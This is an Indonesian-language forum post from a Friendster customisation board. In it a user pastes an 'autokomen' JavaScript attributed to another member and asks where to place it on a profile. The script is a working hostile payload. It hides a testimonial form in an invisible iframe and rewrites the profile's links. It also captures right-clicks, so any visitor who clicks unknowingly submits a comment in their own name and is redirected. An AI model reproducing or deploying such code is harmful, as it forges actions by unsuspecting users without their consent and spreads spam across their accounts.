2008-12-29 09:44:05

hermesbryan
» n00b
FTalk Level: zero
16
0
1969-12-31

Re: Bagi para member yang ingin bertanya seputar tweaking FS. Silahkan bertanya dan posting disini. Sebelum itu harap membaca dan mengikuti [url=http://theftalk.com/t23371-FORUM-RULES.html][b]FORUM

maLam aku dapat code untuk auto komen neh,kLo ga salah dari bro parLay [spoiler][/spoiler]/** Autokomen final version by Parlay. © 2007-2008 Disclaimer: This not intended to promote spamming or unsolicited data transmission whatsoever. The author held no responsibility 4 the misuse of this code! For educational purposes only!! :) **/ function dobelKomen(){ document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML="<div class=\"viewall\"><a href=\"#18\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div><span style=\"display:none\"><iframe name=\"komenframe\" style=\"display:none\"></iframe><center><form name=\"testimonial_form\" method=\"post\" target=\"komenframe\"><input type=\"hidden\" name=\"testimonial_firstname\" value=\""+pageOwnerFName+"\"><input type=\"hidden\" name=\"testimonial_uid\" value=\""+pageViewerID+"\"><input type=\"hidden\" name=\"_submitted\" value=\"1\"><table class=\"formtable\"><tr><td class=\"value\"><textarea style=\"width: 100px; height: 100px;\" rows=\"5\" cols=\"60\" name=\"body\"></textarea></td></tr><tr><td class=\"value\"><input readonly type=\"hidden\" name=\"inputcount\" size=\"5\" maxlength=\"4\" value=\"500\"><input type=\"button\" name=\"Submit\" onClick=\"document.testimonial_form.action='http://www.friendster.com/testimonials.php?uid="+pageOwnerID+"&action=add';document.testimonial_form.submit();\" value=\"Post\"></form></center></span>"; document.getElementById("content_18").getElementsByTagName("div")[22].innerHTML = "<div class=\"viewall\"><a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',3000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div>"; } var komen = new Array( "komen1", "komen2", "komen3" ); var r = 0; function autokomen(bacot) { r = Math.floor(Math.random() * komen.length); bacot.body.value=komen[r]; } function komenPage() { top.location.href="http://www.friendster.com/comments.php?uid="+pageOwnerID+"";} if (pageViewerID!=pageOwnerID){ function x(){autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',1000);return false;} function freakomen(e){mac=navigator.userAgent.indexOf('Mac')!=-1; if (document.all){if(event.button==2||(mac&&(event.ctrlKey||event.keyCode==91))){return false}}else{if(e.which==3||(mac&&(e.modifiers==2||e.ctrlKey))){return false}}} if(navigator.appName.indexOf('Internet Explorer')==-1||(navigator.userAgent.indexOf('MSIE')!=-1&&document.all.length!=0)){ if(document.all){mac=navigator.userAgent.indexOf('Mac')!=-1;version=parseFloat('0'+navigator.userAgent.substr(navigator.userAgent.indexOf('MSIE')+5),10);if(!mac&&version>4){document.oncontextmenu=x} else{document.onmousedown=freakomen;document.onkeydown=freakomen}} else if(document.layers){ window.captureEvents(Event.MOUSEDOWN|Event.modifiers|Event.KEYDOWN);window.onmousedown=freakomen;window.onkeydown=freakomen}else if(document.getElementById&&!document.all){document.oncontextmenu=x}}; } if (!attachOnLoadHandler(function(){dobelKomen()})) window.onload = function(){dobelKomen()};[spoiler][/spoiler] yang jadi pertanyaannya, di bagian mana code neh di Letakin ya?

Board footer

© 2024 F Talk

Current time is 15:58

[ 12 queries - 0.344 second ]
Privacy Policy